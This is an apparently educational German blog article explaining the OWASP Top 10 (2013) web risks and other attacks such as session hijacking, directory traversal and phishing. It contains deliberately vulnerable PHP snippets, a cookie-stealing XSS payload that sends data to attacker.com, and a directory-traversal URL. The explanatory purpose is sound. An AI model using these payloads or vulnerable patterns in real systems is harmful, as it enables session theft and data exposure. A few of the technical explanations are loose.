Browser und das Internet sind in der heutigen Zeit allgegenwärtig – ob am PC oder am Smartphone. Doch schon lange dienen sie nicht mehr ausschließlich dem Ansehen von Websites.
Durch moderne Strategien und eine sehr aktive Entwicklung der letzten Jahre haben sich die Browser und auch das Internet selbst stark gewandelt. So geht aktuell der Trend dahin, immer mehr Softwarelösungen aus dem Desktop-Bereich in vollwertige Webanwendungen umzuwandeln. Die Argumente hierfür sind weitreichend – angefangen bei der einfachen dezentralen Bereitstellung bis hin zur vollständigen Plattform- und Standortunabhängigkeit, sodass die Software auf praktisch jedem Endgerät jederzeit voll funktionsfähig ist.
Dennoch birgt dieser Trend ein gewisses Risiko – da nun die Software sowie auch alle deren Daten zentral gespeichert werden, erlangt der Sicherheitsaspekt nun einen neuen Level. SQL-Injection, Cross-Site-Scripting oder Session Hijacking sind hierbei gängige Begriffe. Doch worum es sich hierbei konkret handelt und welche Folgen daraus resultieren können, möchte ich im Folgenden erklären.
Die Non-Profit-Organisation „OWASP“ (Open Web Application Security Project) hat sich das Ziel gesetzt, die Sicherheit von Anwendungen und Diensten im Internet zu verbessern. Sie möchte für Sicherheit unter Berücksichtigung der Beteiligten, der Abläufe und den Ausmaßen der eingesetzten Technologie, sorgen. Hierzu werden auch regelmäßig Statistiken über die häufigsten Sicherheitslücken veröffentlicht. Die derzeit aktuellste stammt aus dem Jahr 2013.
Die Top 10 der Risiken (nach OWASP 2013)
1. Injection
Als „Injection“ bezeichnet man den Angriff, bei welchem durch Einschleusen von fremden Programmcode in die Anwendung versucht wird, diese lahmzulegen. Dies könnte beispielsweise über die URL erfolgen. Wenn diese Daten serverseitig nicht validiert werden, und so z.B. direkt in ein SQL-Query übernommen werden, stehen dem potentiellen Angreifer alle Türen offen.
$sql = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'";
2. Broken Authentication und Session Management
Darunter versteht man die unsachgemäße Verwendung von sensiblen Daten zum Zweck der Benutzerauthentifizierung. Als Session bezeichnet man die stehende Verbindung eines Clients mit dem Server, gestartet und beendet durch das „Login“ und das „Logout“. Damit der Server die einzelnen Interaktionen mit den vielen parallelen Benutzern eindeutig identifizieren zu können, nutzt dieser jeweils eine eindeutige Kennung, die „Session-ID“. Aus sicherheitstechnischer Sicht sollte diese stets geheim gehalten werden, und auch nur der Software selbst intern bekannt sein.
Hier wäre es beispielsweise möglich, dass diese (geheime) Session-ID als Parameter der URL übergeben wird. Doch gelangt eine dritte Person an diese (z.B. durch Mitsniffen des Netzwerkverkehrs), kann sich diese im Profil der eingeloggten Person navigieren, ohne jemals deren Anmeldedaten gekannt zu haben.
http://example.com/sale/payment?sessionId=123456789&action=view
3. Cross-Site-Scripting (XSS)
Unter dieser Bezeichnung verbergen sich zwei grundsätzlich unterschiedliche Angriffe.
Beim clientseitigen XSS versucht der Angreifer HTML-Code (oder auch von einer anderen clientseitigen Scriptsprache, z.B. Javascript) in eine Website einzuschleusen, welcher dann im Browser des Opfers ausgeführt wird. Daraus könnte in weiterer Folge auch eine „Cross-Site Request Forgery“ eingeleitet werden.
Beim serverseitigen XSS ist es prinzipiell gleich, jedoch steht hier statt dem Browser der Webserver im Mittelpunkt des Angriffs. Wird beispielsweise innerhalb der Software eine zusätzliche Datei dynamisch geladen, könnte diese Schwachstelle gezielt dazu ausgenutzt werden, um eine nicht vorgesehene oder sogar eine eines anderen Servers auszuführen.
$str = '<input tpe="text" name="creditcard" value="' . $_GET['creditcard_number'] . '" />'; echo $str;
Der Angreifer könnte so beispielsweise mit dem folgenden Beispiel sehr leicht eine Manipulation via Javascript durchführen:
"><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo=' + document.cookie</script>"
Dadurch wird der Browser dahin bewegt, die Session-ID an den Angreifer zu übermitteln, und sich so einen unbefugten Zugriff auf die Anwendung zu verschaffen (vgl. Punkt 2).
4. Unsichere direkte Objekt-Referenzen (Insecure Direct Object References)
Bei unsicheren Objekt-Referenzen versteht man die meist ungewollte Offenlegung von systemrelevanten oder benutzerbezogenen Daten. Meist wird diese Art des Angriffs zum Ausspähen von Benutzerdaten genutzt – verursacht durch die nicht-authentifizierte Ausführung beispielsweise von SQL-Abfragen mit damit verbunden direkten Auslieferung des Ergebnisses.
String sql = "SELECT * FROM accounts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(sql, ...);
pstmt.setString(1, request.getParameter("account"));
ResultSet results = pstmt.executeQuery();
Die Anfrage könnte beispielsweise so aussehen:
http://example.com/account/info?account=not_my_account
In diesem Beispiel kann ein Angreifer leicht herausfinden, ob ein bestimmtes Benutzerkonto existiert, oder nicht.
5. Sicherheitskritische Fehlkonfiguration (Security Misconfiguration)
Für Serversoftware sowie die eingesetzte Komponenten werden stets Sicherheitsupdates in Form von Patches bereitgestellt. Doch leider werden diese nur allzu oft ignoriert – meist auch durch die Angst, die Funktion eines bestehenden Systems zu gefährden.
Doch auch unnötig aktive Dienste und offene Ports können ein Risiko darstellen.
6. Offenlegung sensibler Daten (Sensitive Data Exposure)
Dieser Punkt behandelt den Umgang mit sensiblen Daten und deren sicheren Verarbeitung. So reicht eine einfache Verschlüsselung auf Basis von Standard-Encoding- und Decoding-Funktionen in der Regel nicht aus, da man den scheinbar „sicheren“ Inhalt mit wenigen Tricks wieder entschlüsseln kann.
Deshalb ist hier beispielsweise der Einsatz von öffentlichen und privaten Schlüsseln von enormer Bedeutung. Wenn nun ein Angreifer an die sensiblen Daten gelangt, ist dies nun nur mehr halb so schlimm, solange das Schlüsselpaar, mit welchem die Daten verschlüsselt wurden, geheim bleibt. Je länger diese Schlüsselpaare sind, und umso mehr Sonderzeichen diese enthalten, desto schwieriger wird es, diese zu knacken.
7. Fehlende Zugriffskontrolle für Funktionen
Bei Systemen mit unterschiedlichen Zugriffsrechten, reicht es keinesfalls aus, die zu schützenden Bereiche einfach auszublenden. In den meisten Fällen reicht es schon aus, die entsprechende URL bzw. Parameter zu kennen.
Deshalb wird es umso wichtiger die Benutzerinteraktionen serverseitig nochmals zu überprüfen, um unbefugte Zugriffe weitgehend ausschließen zu können. Diese Überprüfungen müssen dazu aber unabhängig von den gelieferten Informationen des Benutzers sein.
Mehrstufige, voneinander unabhängige, Validierungen sind hierbei stets zu empfehlen. Beispielsweise reicht es nicht aus, nur zu überprüfen, ob ein Benutzer eingeloggt ist, und dann Funktionen einfach auszublenden – es muss auf jeden Fall auch Bezug auf die Benutzerrolle genommen werden, und so jene Bereiche, für welchen keine Berechtigung vorliegt, vollständig abzuschotten.
8. Cross-Site-Request-Forgery (CSRF)
Beim CSRF wird eine bereits bestehende Session zwischen Server und Benutzer vorausgesetzt. Der Angreifer versucht hier aktiv den ahnungslosen Benutzer dazu zu bewegen, durch XSS manipulierte URLs aufzurufen.
Im Gegensatz zum Session-Hijacking (genauere Erklärung weiter unten) spielt hier die Session-ID für den Angreifer keine Rolle.
9. Verwendung von Komponenten mit bekannten Schwachstellen
In der Theorie ist es leicht, herauszufinden, ob man eine aktuelle Komponente verwendet, oder eine mit bereits bekannten Schwachstellen oder Sicherheitslücken.
Doch in der Praxis sieht dies ganz anders aus – da die vielen Hersteller bzw. Entwickler teils nicht nachvollziehbare Versionsnummern vergeben, wird dies leider ganz schnell zur Herausforderung.
Sinnvoll wäre es, regelmäßig auf Updates zu prüfen und ggf. auch die Newsletter oder Announcements der Hersteller zu abonnieren.
10. Nicht validierte Um- und Weiterleitungen
Diese potentielle Schwachstelle entsteht, wenn Weiter- oder Umleitungsziele direkt über die URL übergeben werden. Um für Sicherheit zu sorgen, sollten diese übergebenen URLs serverseitig nochmals überprüft werden, bevor die eigentliche Weiterleitung praktiziert wird. Besser und effektiver wäre es, hier nur IDs bzw. gleichwertig Schlüssel zu übergeben, welche beispielsweise in einer Datenbank mit den entsprechenden Ziel-URLs hinterlegt werden.
http://example.com/goto.php?url=danger.com
Weitere Gefahren
Selbstverständlich gibt es noch weitere Risiken und Angriffsmöglichkeiten. Nur weil diese nicht in der aktuellsten OWASP-Statistik gelistet sind, sollte man diese dennoch nicht unterschätzen!
Session Hijacking
Da das HTTP-Protokoll zustandslos ist, muss die Applikation die Identifikation eines Benutzers selbst vornehmen. Dies geschieht über die Session-ID.
Beim Session Hijacking versucht der Angreifer mit einer „gestohlenen“ Session-ID die Identität eines fremden Benutzers vorzutäuschen, und so in dessen Namen zu innerhalb der Applikation zu agieren.
Directory Traversal
Bei dieser Methode versucht der Angreifer mit manipulierten Pfadangaben zu Ressourcen, an systemrelevante Daten zu gelangen.
http://example.com/download.php?file=stuff.zip
Sofern hier keine weitere Überprüfung mehr stattfindet, könnte man mit dem folgenden Beispiel statt dem unscheinbaren ZIP-Ordner ganze Konfigurationsdateien herunterladen:
http://example.com/download.php?file=../../../config.php
E-Mail-Injection
Dieses Problem tritt meist bei Kontaktformularen von Websites auf. Der Angreifer versucht in dieses Feld Schadcode einzuschleusen (vgl. XSS), sodass die Nachricht nicht nur an den Betreiber der Website, sondern an eine Vielzahl beliebiger Personen geht.
Bekannt ist dieses Problem unter dem Begriff „Spam“.
Man-In-The-Middle-Attacke
Bei dieser Methode befindet sicher Angreifer, wie der Name bereits vermuten lässt, direkt im Netzwerk des Benutzers. Dabei lenkt er Verbindungen, welche eigentlich den Zielserver betreffen sollten, geschickt über seinen Computer um.
Da nun der gesamte Netzwerkverkehr über den Angreifer erfolgt, kann dieser leicht die Daten mitloggen bzw. manipulieren.
Einzige Sicherheit bietet die Nutzung von verschlüsselten Verbindungen via SSL. Doch sollte es dem Angreifer gelingen, an diese Zertifikat zu gelangen, ist auch diese Maßnahme zwecklos.
Denial of Service (DoS)
Bei einem DoS-Angriff versucht der Angreifer durch eine Vielzahl von parallelen Anfragen die Server so lange zu beanspruchen, bis diese der Last nicht mehr standhalten können und so nach und nach ausfallen.
Eine Steigerung stellt hier der Distributed-DoS (DDoS) dar, bei welchem die Anfragen nicht von einem einzelnen Computer, sondern von vielen hunderten bis tausenden parallel stattfinden.
Phishing
Phishing zählt nicht unmittelbar zu den Problemen einer Webapplikation. Vielmehr versucht ein Angreifer durch den Versand von beispielsweise Massenmails mit Links zur Aufforderung der Eingabe bzw. Bestätigung von PINs oder TANs die Aufmerksamkeit des Opfers auf sich zu lenken.
Klickt das Opfer dann diesen Link an, wird dieser nicht auf die vermeintlich originale Website, sondern eine optisch gleichwertige des Angreifers umgeleitet.
Am häufigsten tritt dies in Bezug auf Online-Banking auf. Deshalb ist es umso wichtiger, stets auf die Domain und (sofern vorhanden) das SSL-Zertifikat (erkennbar am HTTPS) zu achten.
Seriöse Unternehmen werden niemals nach solchen Daten fragen – und schon gar nicht per E-Mail!
Fazit
Das Angebot von Angriffsmöglicheiten ist enorm – umso wichtiger ist es, bereits in der Entwicklungsphase besonders auf solche Schwachstellen zu achten, um so später Probleme vermeiden zu können.
Die Angreifer sind stets bemüht, Sicherheitsüberprüfungen zu umgehen bzw. auszutricksen, um so an sensible Daten zu gelangen und daraus resultierend einen enormen (finanziellen) Schaden hervorzurufen.
Leider ist es so, dass eine Software nie zu 100 Prozent sicher sein wird, man kann nur die Sicherheitsstandards entsprechend erhöhen, um es Angreifern wesentlich schwieriger zu machen.